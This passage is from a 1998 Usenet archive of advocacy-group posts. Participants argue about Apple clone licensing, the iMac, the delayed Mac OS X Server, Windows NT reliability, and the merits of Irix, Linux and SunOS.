> before. Tatung, Vertegri, all of these were newbies to the business,
> with no track records. And there weren't even very many of them. Why
> would Apple choose these to help it build a new MacOS enterprise,
> instead of companies like Gateway and Compaq (who had made overtures to
> Apple in previous years)?
>
> The obvious answer is that Apple was scared of big names, and decided to
> pick weak partners who would satisfy the hue and cry from stockholders
> for cloning without actually forcing Apple to be competitive. What is so
> stunning about this scenario is that these frail competitors actually
> drove Apple to the brink of bankruptcy, taking as much as 30% of Apple's
> core market of "98% loyal" customers.
>
> Given the example of the last cloning situation, it's not difficult to
> be cynical. But I wanted to give the discussion one more shot, in light
> of the iMac's success. So far I'm getting exactly what I expected.
May I point to Sun? Sun makes it possible,even easy,to make
SPARCstations that compete directly with Sun's own,and in fact if you
are not a Fortune 500 company a Sun clone is almost always a better
choice.Sun still sells 80% of SPARC boxes and earns enough on the rest
to make your buying a Tatung,Sanar,Integrix,or (yecch) Ross profitable
for them.
FWIW I have run NS/OS on all four platforms and Sparc was probably the
most hassle-free.It loaded and ran fine,as easily as on black
hardware,and as fast as Intel.Just for ease of use,I've had great luck
with Suns once I learned their little eccentricities.
From: spagiola@my-dejanews.com
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: ARGH]:
Date: Sat, 03 Oct 1998 16:55:11 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6v5kte$jdt$1@nnrp1.dejanews.com>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <6src19$1p3$1@nnrp1.dejanews.com> <9UuI1.1224$2s.1206519@newsfeed.slurp.net> <6uvmi1$2v1$1@nnrp1.dejanews.com> <36134134.ACBD2A8B@SPAMFREE.yahoo.com> <3613894a.0@news.together.net> <6v41i3$4ga$1@nnrp1.dejanews.com> <6v57dh$icn$15@supernews.com>
"Dan" <dan@knowspaam.com> wrote:
> > When I want to stare at a succession of error messages and HourGlasses,
> > I use NT.
>
> You "rarely" see a hourglass when using NT unless your hovering your pointer
> over a working application.
I beg to differ. I'm forced to use NT4 a lot these days, and I see the
hourglass a lot. YMMV.
Part of the problem with NT, I'm told, is that it's very sensitive to how well
it is installed. if so, then our installation seems to have been particularly
poor. So this isn't necessarily a criticism of NT per se. But one does have to
wonder about an OS where supposedly competent sysadmin can create an
installation with such piss-poor performance.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server
Date: Sat, 03 Oct 1998 17:09:22 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6v5lo1$n2$1@nnrp1.dejanews.com>
References: <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <pulsar-ya02408000R2809981118200001@news-proxy.cso.uiuc.edu> <360FBE64.67D0D2EF@ericsson.com> <6up4j7$17d@news1.panix.com> <36102270.2739BA4F@ericsson.com> <6upl8c$674@news1.panix.com> <361064C1.419A082F@nstar.net> <6urdgv$o4m@news1.panix.com> <6uuqra$99n$2@nnrp03.primenet.com> <6v071q$obt@news1.panix.com> <6v0cu9$jur$1@nnrp03.primenet.com> <6v0s9m$pfc$1@nnrp1.dejanews.com> <6v2tk2$lqd@news1.panix.com> <6v31n9$c84$1@nnrp02.primenet.com> <joe.ragosta-0210982016330001@elk86.dol.net> <mazulauf-0310980024190001@happy.met.utah.edu> <joe.ragosta-0310980807430001@elk89.dol.net>
joe.ragosta@dol.net (Joe Ragosta) wrote:
> The most recent statement from Apple said fall, 1998. Let's take the worst
> case scenario and say it ships by year end. That's 6 months late.
>
> How late was Win96/97/98? And that was merely a bunch of bug fixes.
>
> 6 months late for a complete OS rewrite is pretty good.
I have no quarrel with that. I do have a quarrel with being kept completely
in the dark about what's going on. Airlines have learned the hard way that
not telling passengers anything when there's a delay, for whatever reason, is
a very good way to have lots of unhappy customers. Apple seems to have yet to
discover this basic truth about customer relations.
Let's look at the reasons why Apple might be reluctant to talk about MacOS
X Server, and compare them to the iMac experience.
1. There's a risk of embarassment if you announce and then you're late.
True, but the new Apple does seem to be able to deliver. Apple told us
exactly which day the iMac would ship on several months ahead of time, and
they did so. If they estimate conservatively, there shouldn't be a problem.
In fact, this potential 'problem' became an advantage: when Apple announced
the iMac's specs, well ahead of the ship date, it turns out there was a lot
of unhappiness at the bundled modem. By announcing the specs early enough
that Apple had time to respond to this unhappiness, they were able to ship an
even better product that has been selling like hotcakes.
2. It might confuse their marketing message.
True only if they're themselves confused. In the case of iMac, they were very
clear about their target market and were able to position it successfully
despite a lot of nay-sayers. Sales of other Apple products appear to have
_benefitted_, not suffered from the iMac's introduction.
Why is it so difficult for Apple to learn from both their own experience,
and that of other customer-oriented industries (as well as NeXT's own negative
experience about the perils of 'stealth marketing')?
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: me@home.org (Just Me)
Newsgroups: comp.lang.java.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: What do Apple Sell? Why would they damage their business?
Date: 3 Oct 1998 12:29:05 -0500
Organization: Newscene Public Access Usenet News Service (http://www.newscene.com/)
Message-ID: <362d5e93.317525241@news3.newscene.com>
References: <36099217.345010578@news.newsguy.com> <361301ea.0@news.depaul.edu> <6uvl5r$18r$1@nnrp1.dejanews.com> <dhNQ1.577$HF3.1311949@news14.ispnews.com> <6v4cvb$n0u$1@eskinews.eskimo.com>
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>>Nope. Go ahead and argue that MacOS is easier to use, but forget argueing
>>that Macs are cheaper *and* faster. There's no way you'll win that
>>arguement.
>>
>>
>
>
>Hello? But do you know how much time it takes day in and out to learn how
>Windows (3.1,98,95,NT) to think? I waste a lot of valuable time trying to
>remember how much to think.
>This is anecdotal, but I just get far much done on a Mac than I do
>Windoze.
What *I* do can't even be done on anything BUT Windows.
From: me@home.org (Just Me)
Newsgroups: comp.lang.java.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: What do Apple Sell? Why would they damage their business?
Date: 3 Oct 1998 12:30:03 -0500
Organization: Newscene Public Access Usenet News Service (http://www.newscene.com/)
Message-ID: <362e5ed6.317592691@news3.newscene.com>
References: <36099217.345010578@news.newsguy.com> <36233246.148238919@news2.newscene.com> <tsikesEzt45r.FLH@netcom.com> <360ce3a8.431427149@news.newsguy.com> <tsikesEzuMpC.n48@netcom.com> <360F587D.CA738A54@alum.mit.edu> <joe.ragosta-2809980629300001@elk33.dol.net> <360FB35C.693E5D91@ericsson.com> <36111C49.C787143@nospam.com> <6uupgl$99n$1@nnrp03.primenet.com> <361301ea.0@news.depaul.edu> <6uvl5r$18r$1@nnrp1.dejanews.com>
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>Apple sell systems.
>
>Their systems are cheaper and faster than Wintel crap.
Cheaper? Post some examples please.
Message-ID: <36184884.D44FFF6C@nstar.net>
From: Michael Peck <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: A computer is not like a car.
References: <360a5c3e.0@news.busprod.com> <bRtP1.3801$R_4.3830723@news3.mia.bellsouth.net> <3612D0C7.45B4@southwind.net>
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NNTP-Posting-Date: Mon, 05 Oct 1998 00:19:10 EDT
Organization: ISPNews http://ispnews.com
Date: Sun, 04 Oct 1998 23:18:12 -0500
jmz@southwind.net wrote:
> Do you think Windows is "mostly right"? If so,you're part of a small
> minority.Very few people with experience in other environments like
> Windows as far as I have been able to ascertain.Except for Amiga or
> Genera bigots,NeXT seems to be the favorite and Unix/X seems tolerated
> pretty well even by people who aren't Unix wizards.The Mac is now a
> niche machine to the same extent the Amiga was in 1994.
I think Windows is "mostly right". The modern GUI is a product of
Apple's original research, to be sure, but nowadays it's difficult to
find a GUI that deviates from the norm in any significant ways. Windows
has all the basic GUI elements and many more, besides; Windows 98
features a great many things which my last experience with MacOS lacked.
All in all, Windows 98 is a robust GUI that does everything one expects
it to do.
I don't develop for Windows, and my opinion might possibly be different
if I did. But as a user of many different systems (and developer for a
few), I would opine that a GUI is a GUI is a GUI these days. It's
*really* hard to find something unique; most people who "prefer" one GUI
over another seem to do so for the sake of nostalgia.
I like to whine to friends that no new things have been done with the
GUI in the past decade. I really think that the concept has plateaued
(which is unnecessary and unacceptable), and that preferential treatment
is just playing favorites.
MJP
Message-ID: <36167136.65FF@betabreakers.com>
Date: Sat, 03 Oct 1998 11:47:18 -0700
From: Josiah Fizer <jfizer@betabreakers.com>
Organization: Beta Breakers
MIME-Version: 1.0
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Microsoft's Unix
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <6src19$1p3$1@nnrp1.dejanews.com> <9UuI1.1224$2s.1206519@newsfeed.slurp.net> <6uvmi1$2v1$1@nnrp1.dejanews.com> <36134134.ACBD2A8B@SPAMFREE.yahoo.com> <3613894a.0@news.together.net> <no-spam-0110981305500001@port-39-39.access.one.net> <6v1dn9$cu7$8@supernews.com> <361444B1.A3B92AE9@wenet.net> <6v1ouq$cqb$1@supernews.com> <3614FC12.5BE9@betabreakers.com> <6v57d5$icn$4@supernews.com>
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Dan wrote:
>
> Josiah Fizer wrote in message <3614FC12.5BE9@betabreakers.com>...
>
> >Linux is not what I would call a good Unix system. Try Irix, easy to use
> >and very powerfull. sun Solaris isn't bad but its more geared to
> >ubergeeks than normal people.
>
> I've allways wanted to try Irix... maybe in the future after SGI ports it to
> Merced (they claim that's there plan).
>
> How is it easier to use then most Unices?
>
> Dan
Most settings you would need to use a Cl interface for (disk, network
etc) have noce GUI controll panels. it is also very easy to customize,
so if like me you are an ubergeek you can turn on the full unix BS or
keep it hidden behind the X-Windows shell.
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEWS.COM article on CPU marketshare
MIME-Version: 1.0
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References: <3615835C.225B608D@nstar.net> <3615844F.3A485AD3@nstar.net>
Message-ID: <EjuR1.314$Ar1.809141@news.rdc1.sdca.home.com>
Date: Sat, 03 Oct 1998 18:48:04 GMT
NNTP-Posting-Date: Sat, 03 Oct 1998 11:48:04 PDT
Organization: @Home Network
In <3615844F.3A485AD3@nstar.net> "Michael J. Peck" wrote:
> Michael J. Peck wrote:
>
> > If Apple were willing to license the iMac to what looks to be an eager
> > industry, this could be a significant shot in the arm for PowerPC.
>
> Also interesting is the fact that of the seven machines examined (for
> being representative of the market segment affected by the shift in
> marketshare) the iMac was the most expensive, meaning that the iMac's
> impact is not necessarily limited to razor-thin-margin markets.
> Interested parties will undoubtedly take note that this resurgence is at
> the $1,300 price point, not at the $800 or $900 price point. At this
> point in time, such details will go a long way with manufacturers.
>
> Now, if only Apple had the nerve to license the damned thing...
>
>
Last night I got my first opportunity to see an iMac at Fry's. Definately,
one factor responsible for demand at the, perceived, ;higher price point
$1299 is build quality. The iMac keyboard makes a very definitive statement
about Quality. Anyone who lays fingers on the iMac keyboard experience two
things - they know quality when they feel it and they like it. I understand
better why the iMac package of design, quality, price and performance are
selling units.
Why would licensing iMac *only*, be good for Apple, good for the consuming
public and marketshare?
-r
Message-ID: <36167243.6836@betabreakers.com>
Date: Sat, 03 Oct 1998 11:51:47 -0700
From: Josiah Fizer <jfizer@betabreakers.com>
Organization: Beta Breakers
MIME-Version: 1.0
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Microsoft's Unix
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com> <joe.ragosta-3108981214100001@wil35.dol.net> <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <6src19$1p3$1@nnrp1.dejanews.com> <9UuI1.1224$2s.1206519@newsfeed.slurp.net> <6uvmi1$2v1$1@nnrp1.dejanews.com> <36134134.ACBD2A8B@SPAMFREE.yahoo.com> <3613894a.0@news.together.net> <no-spam-0110981305500001@port-39-39.access.one.net> <6v1dn9$cu7$8@supernews.com> <361444B1.A3B92AE9@wenet.net> <6v1ouq$cqb$1@supernews.com> <3614FC12.5BE9@betabreakers.com> <36141887.5B80@southwind.net>
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jmz@southwind.net wrote:
>
> Josiah Fizer wrote:
> >
> > Linux is not what I would call a good Unix system. Try Irix, easy to use
> > and very powerfull. sun Solaris isn't bad but its more geared to
> > ubergeeks than normal people.
>
> Surely,thou jest! I have a SGI and it sits gathering dust until I get a
> workable Linux or NetBSD for MIPS CD I can install from.I have both Irix
> 5.x and 6.x media and I found Irix a complete pain in the ass.
>
> And if Slowlaris is so great,why is 35% of Sun's installed base still
> on SunOS-and how come Ross can sell their 32 bit (and SunOS-compatible)
> hot rod microSPARC boxes for stupid money?
I jest not, I find Liux to be pain. However I dont fault your chioce of
it over Irix. As for 'why do all the sun monkies still run SunOS', cause
thats where the application they want to run works. Most sun systems are
set up once and never touched again, so for the most part as they are
not a workstaion but a server there is little or no need to upgrade the
OS. Whats more some older big ass SQL servers and such only run on
SunOS, and porting all the data records to a new installation would cost
way too many man hours. This is the same problem facing large law and
tax firms. I've delt with several that are still running windows 3.1 and
old RS400 systems becuse the software they have 10 years of records on
will not run under anything newer.
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEWS.COM article on CPU marketshare
Date: Sat, 03 Oct 1998 14:23:14 -0500
Organization: Ericsson North America Inc.
Message-ID: <361679A2.55215C6B@ericsson.com>
References: <3615835C.225B608D@nstar.net> <3615844F.3A485AD3@nstar.net> <EjuR1.314$Ar1.809141@news.rdc1.sdca.home.com>
Mime-Version: 1.0
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rr6013@yahoo.com wrote:
> Last night I got my first opportunity to see an iMac at Fry's. Definately,
> one factor responsible for demand at the, perceived, ;higher price point
> $1299 is build quality. The iMac keyboard makes a very definitive statement
> about Quality. Anyone who lays fingers on the iMac keyboard experience two
> things - they know quality when they feel it and they like it. I understand
> better why the iMac package of design, quality, price and performance are
> selling units.
>
> Why would licensing iMac *only*, be good for Apple, good for the consuming
> public and marketshare?
I'm not sure how to take the question. I wasn't saying that *only*
licensing the iMac would be better than licensing many other products
besides. I *am* saying that *only* licensing the iMac would be better
than nothing, and the iMac is uniquely positioned to take advantage of a
licensing scheme.
Besides, if the iMac were licensed, the rest of the line couldn't be far
behind.
Could it? I have no ability to judge the level of intelligence in
Cupertino these days.
MJP
From: glhansen@copper.ucs.indiana.edu (Gregory Loren Hansen)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Microsoft's Unix
Date: 3 Oct 1998 20:15:00 GMT
Organization: Indiana University, Bloomington
Message-ID: <6v60k4$3g1$1@flotsam.uits.indiana.edu>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <9UuI1.1224$2s.1206519@newsfeed.slurp.net> <6uvm <36167243.6836@betabreakers.com>
In article <36167243.6836@betabreakers.com>,
Josiah Fizer <jfizer@betabreakers.com> wrote:
>I jest not, I find Liux to be pain. However I dont fault your chioce of
>it over Irix. As for 'why do all the sun monkies still run SunOS', cause
>thats where the application they want to run works. Most sun systems are
>set up once and never touched again, so for the most part as they are
>not a workstaion but a server there is little or no need to upgrade the
>OS. Whats more some older big ass SQL servers and such only run on
Heh! The users of Unix systems aren't always scrambling to download and
install the latest upgrade, service pack, or supplementary software the
way Windows and Macintosh users are.
I still have an account on a VAX that I rarely use. When was the last
time a new VAX machine was offered?
--
"It doesn't matter if you have a beard on the outside. It's the beard on
the inside that counts." -- Action Hank
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: a prediction
Date: 6 Oct 1998 15:29:36 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6vdd10$mve@newsb.netnews.att.com>
Originator: gupta@tlctest
While most of Ziff-Davis reviewed NT 5.0 Beta 2 favorably,
and a ZD story reported that Microsoft may provide Beta 3
by Thanksgiving and the final product by February 1999,
a ZD editorial (in PCWeek) says that this schedule for NT 5.0
is not realistic.
Quote : "There's no sign based on tests and feedback on Beta 2,
which was released in August, that the product will be ready for
prime time before late 1999....... We think that these early-release
feelers smack of Microsoft toying with the market again, halting,
if slightly, IT plans to look elsewhere for application server
platforms."
http://www.zdnet.com/pcweek/stories/columns/0,4351,356233,00.html
-arun gupta
From: amaliy1@uic.edu (Anil T Maliyekke)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEWS.COM article on CPU marketshare
Date: 5 Oct 1998 03:55:26 GMT
Organization: University of Illinois at Chicago
Message-ID: <6v9fve$tsg$1@piglet.cc.uic.edu>
jmz@southwind.net wrote:
: May I point to Sun? Sun makes it possible,even easy,to make
: SPARCstations that compete directly with Sun's own,and in fact if you
: are not a Fortune 500 company a Sun clone is almost always a better
: choice.Sun still sells 80% of SPARC boxes and earns enough on the rest
: to make your buying a Tatung,Sanar,Integrix,or (yecch) Ross profitable
: for them.
Sun's customers aren't budget conscious consumers looking to save
every single dollar they can, though. They also are looking for
far more support than the average clone maker can give them, so
they are willing to pay extra. And Sun sells a lot of higher margin higher
end products that the workstation clone makers don't sell, including
software and medium to large SMP systems.
: FWIW I have run NS/OS on all four platforms and Sparc was probably the
: most hassle-free.It loaded and ran fine,as easily as on black
: hardware,and as fast as Intel.Just for ease of use,I've had great luck
: with Suns once I learned their little eccentricities.
From: "Mark" <ubercat@m3.sprynet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Microsoft's Unix
Date: Sat, 3 Oct 1998 15:57:06 -0400
Organization: Sprynet News Service
Message-ID: <6v5vin$dc2$1@juliana.sprynet.com>
References: <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <6src19$1p3$1@nnrp1.dejanews.com> <9UuI1.1224$2s.1206519@newsfeed.slurp.net> <6uvmi1$2v1$1@nnrp1.dejanews.com> <36134134.ACBD2A8B@SPAMFREE.yahoo.com> <3613894a.0@news.together.net> <no-spam-0110981305500001@port-39-39.access.one.net> <6v1dn9$cu7$8@supernews.com> <361444B1.A3B92AE9@wenet.net> <6v1ouq$cqb$1@supernews.com> <142C07F2128CE5A4.1B3F01B357ED9113.80F002D81BB1BCCA@library-proxy.airnews.net>
>>One thing that makes me hate Linux even more is when a bunch of Linux
gurus
>>try and convince each other how much Microsoft products suck. Why? Because
>>they "have to" *convince* each other... i.e., holding rallyes and starting
>>threads of complaints... Because none of it's true... of course, if you
all
>>say it to each other enough it's starts to sound more and more realistic.
>>it's sick.
>>...what does piss me off is listening to all the NT complaints when I'm
>>sitting here at a NT box that has not crashed or had a reinstall in over a
>>year, while Linux had gone down many times before on the same machine.
i.e.,
>>I'm not going to just sit back and listen to it all.
Yes, there is a dark side, isn't there?
>>I'm here to try and make at
>>least one person see what is really going on... instead of being sucked
into
>>the hate.
Yeah, I almost went that way too. It's easy to do though when you learn more
about MS's business practices. That's sick too. By the way, my NT box has
been up now for well over a year and I've never seen a blue screen. It did
freeze up twice though. Once with Netscape and once with Opera. I don't run
too many MS apps other than VB and VC though.
That could be a factor.
>Hmmm, I wonder how long it is before the Linux Backlash in the press
>happens? Anything that happens too quick is apt to cause that.
Not long, the press has become a real joke, as evidenced by the Clinton
debacle.
>>>Windows NT is a piece of cr*p, and almost
>>>everybody knows it, but by leveraging on their desktop parts, MS has
>>>certainly been able to make a dent in the server and workstation market.
>>>
>>> Linus Torvalds,
>>*THIS* is what I dislike about the Linux community.... Linus has clearly
>>displayed hatred, and immaturity here. And your proud enough to post this
in
>>every signature. Linus and Steve Jobs should start their own web page and
>>dedicate it to finding new ways to childishly call their competitors
>>offensive names, etc.
I never paid too much attention to Linus anyway, I've read too many
interviews, only to read another where he contradicts the other. Just the
fact that you can design and produce a good product doesn't guarantee that
you become an admired human being. He's right to stay out of the limelight,
he's no good at PR. In fact he's horrible at it. But I see him turning up at
more and more Linux events and press gatherings. Maybe he'll improve.
You've got to remember that most if not all of Linux users you'll find on an
advocacy group are the fringe. Composed of elitist attitudes, an axe to
grind or just incontinence of the mouth. Take it with a grain of salt. I
wouldn't give up on Linux though, good things could happen and it would be
to your advantage knowing how to operate the system better than a casual
user. Not to mention that if you become competent at Linux coming from a
Windows world, going to back to do work in windows does seem quite simple.
Some things you took for granted are a joy to use again as well.
From: clee2@envirolink.org (Chris Lee)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Microsoft's Unix
Date: 3 Oct 1998 22:16:31 GMT
Organization: Your Organization
Message-ID: <6v67nv$qrl$3@winter.news.erols.com>
References: <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <35edc5e7.0@newsread1.dircon.co.uk> <qArH1.421$XE1.327550@newsfeed.slurp.net> <6src19$1p3$1@nnrp1.dejanews.com> <9UuI1.1224$2s.1206519@newsfeed.slurp.net> <6uvmi1$2v1$1@nnrp1.dejanews.com> <36134134.ACBD2A8B@SPAMFREE.yahoo.com> <3613894a.0@news.together.net> <no-spam-0110981305500001@port-39-39.access.one.net> <6v1dn9$cu7$8@supernews.com> <361444B1.A3B92AE9@wenet.net> <6v1ouq$cqb$1@supernews.com> <142C07F2128CE5A4.1B3F01B357ED9113.80F002D81BB1BCCA@library-proxy.airnews.net>
Mime-Version: 1.0
Content-Type: Text/Plain; charset=US-ASCII
In article
<142C07F2128CE5A4.1B3F01B357ED9113.80F002D81BB1BCCA@library-proxy.airnews.ne
t>, leebum@nottowayez.net says...
>
>On Thu, 1 Oct 1998 22:29:01 -0700, "Dan" <dan@knowspaam.com> wrote:
>
>>Corbett Baker wrote in message <361444B1.A3B92AE9@wenet.net>...
>>>Dan wrote:
>>>
>>>> MojiDoji wrote in message ...
>>>>
>>>> >where's MsLinux?
>>>>
>>>> MS gave up on Unix in the late 70's (when the rest of the world should
>>have
>>>> done the same), with their 1st OS ("Microsoft Xenix").... realizing
what
>>>> utter hell Unix was.
>>>>
>>>> Dan
>>>
>>>Yeah Multi-user Z80's and 8080's are a BAD idea, but do you consider DOS
>>1.0
>>>any better?
>>
>>Yes... DOS is far easier to use then Unix... This was part of the whole
>>concept behind DOS and the BASIC programming language...i.e., "simplistic"
>>...of course it's not a better server, but this is not the common goal for
>>the average computer user. (thinking back to 1980)
>>
>>
>>>jesus Dan your "unix" experience is most likely 1 hour of using
>>>linux without
>>>reading anything or knowing anything and saying it is "utter hell"
>>>I really wish you would stop making un-educated comments like this, only
>>the
>>>ignorant take you seriously.
>>
>>Hmmm.... it's funny how if anyone likes a Microsoft product, or complains
>>about a Apple or Unix product someone always accuses them of being an
idiot,
>>while another accuses them of working for Microsoft.
>>
>>I've had more then my far share of Linux experience. If it wasn't for NT I
>>would consider it... "not half bad."
>>
>>One thing that makes me hate Linux even more is when a bunch of Linux
gurus
>>try and convince each other how much Microsoft products suck. Why? Because
>>they "have to" *convince* each other... i.e., holding rallyes and starting
>>threads of complaints... Because none of it's true... of course, if you
all
>>say it to each other enough it's starts to sound more and more realistic.
>>it's sick.
>>
>>BTW, during my first explorations into Linux I was not out to hate it... I
>>was out to embrace it. People were telling me it's great left and right,
and
>>how Windows sucks... and I figured it must be pretty cool, so I wrote down
a
>>list of things I needed (like email, etc.) to make a complete switch.
>>...a few months later, after hours and hours of banging my head against
the
>>wall trying to get it to work properly, reinstalling endlessly to get
Linux
>>back to a working state because it was easier then trying to find someone
to
>>help me fix a problem (which could take days, weeks, even months), etc.,
>>etc., etc... I gave up (something I should have done months earlier and
>>saved me time).
>>
>>I don't really care if you guys prefer messing with Linux configuration
>>files, wasting your time, instead of getting work done... that's fine.
Maybe
>>you like that sorta thing... I know a guy that enjoys wrecking his truck,
>>just so he can fix it again.
>>...what does piss me off is listening to all the NT complaints when I'm
>>sitting here at a NT box that has not crashed or had a reinstall in over a
>>year, while Linux had gone down many times before on the same machine.
i.e.,
>>I'm not going to just sit back and listen to it all.
>>
>>I don't want to argue though... so I'll probably not respond if you choose
>>to flame me. That's not the reason I'm here. I'm here to try and make at
>>least one person see what is really going on... instead of being sucked
into
>>the hate.
>
>Hmmm, I wonder how long it is before the Linux Backlash in the press
>happens? Anything that happens too quick is apt to cause that.
I don't think this kind of thing will amount to anything, since the computer
press and their WWW sites never really supported Linux to begin with. Linux
has always been user-driven. Look at Linux articles in mags like Forbes for
instance. Does ayone think the Ziff-Davis editors would permit something
like that to appear in PC Mag or any of their other publications?
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: NEWS.COM article on CPU marketshare
Newsgroups: comp.sys.next.advocacy
References: <3615835C.225B608D@nstar.net> <3615844F.3A485AD3@nstar.net> <EjuR1.314$Ar1.809141@news.rdc1.sdca.home.com>
Message-ID: <3616b0bf.0@news.depaul.edu>
Date: 3 Oct 98 23:18:23 GMT
rr6013@yahoo.com wrote:
> Why would licensing iMac *only*, be good for Apple, good for the consuming
> public and marketshare?
Why should they license, when they can subcontract?
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server
Date: Sat, 03 Oct 1998 19:02:26 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-0310981902260001@r4149.resnet.cornell.edu>
References: <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <pulsar-ya02408000R2809981118200001@news-proxy.cso.uiuc.edu> <360FBE64.67D0D2EF@ericsson.com> <6up4j7$17d@news1.panix.com> <36102270.2739BA4F@ericsson.com> <6upl8c$674@news1.panix.com> <361064C1.419A082F@nstar.net> <6urdgv$o4m@news1.panix.com> <6uuqra$99n$2@nnrp03.primenet.com> <6v071q$obt@news1.panix.com> <6v0cu9$jur$1@nnrp03.primenet.com> <6v0s9m$pfc$1@nnrp1.dejanews.com> <6v2tk2$lqd@news1.panix.com> <6v31n9$c84$1@nnrp02.primenet.com> <joe.ragosta-0210982016330001@elk86.dol.net> <mazulauf-0310980024190001@happy.met.utah.edu> <ckoller-0310980112110001@22.los-angeles-05.ca.dial-access.att.net>
In article
<ckoller-0310980112110001@22.los-angeles-05.ca.dial-access.att.net>,
ckoller@worldnet.att.net (Craig Koller) wrote:
> Yeah, I was there at the SF Marriot (having checked under my chair to find
> a copy of ID4 - remembering that Guy Kawasaki had taped 604 key chains
> under there last year) when Amelio made that anouncement, then trotting
> out Steve Jobs. That was the Dr.'s words, not Steve's.
So when a company gets a new CEO, it can completely disregard all the
commitments it previously made to its customers?
You'll have to come up with a better explanation than that.
--
Eric Bennett (www.pobox.com/~ericb), Cornell University
Hofstadter's Law: It always takes longer than you expect,
even when you take into account Hofstadter's Law.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.lang.java.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X Server for Intel (was: Re: Windows is dieing on the
desktop)
Date: 6 Oct 98 11:03:18 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B23FA979-3CAC6@206.165.43.169>
References: <6vbi7r$12su2@odie.mcleod.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.lang.java.advocacy,
nntp://news.primenet.com/comp.sys.next.advocacy
Michelle L. Buck <buck.erik@mcleod.net> said:
[...]
>The real problem is that existing established developers do not want
>YellowBox and may in fact lobby to kill it. YB represents cost to
>established vendors, but it represents opportunity to new vendors. Why
>would the established vendors encourage technology that costs them and
>helps
>the competition ?
A very real issue, I'm afraid. However, the way that Apple now appears to
be positioning YB is as "the premier Java programming framework" or
something like that. Is this a political move to keep the big developers
from calling for its demise, or is it actually how Apple intends to
position YB?
Or do the big developers even care any more?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy
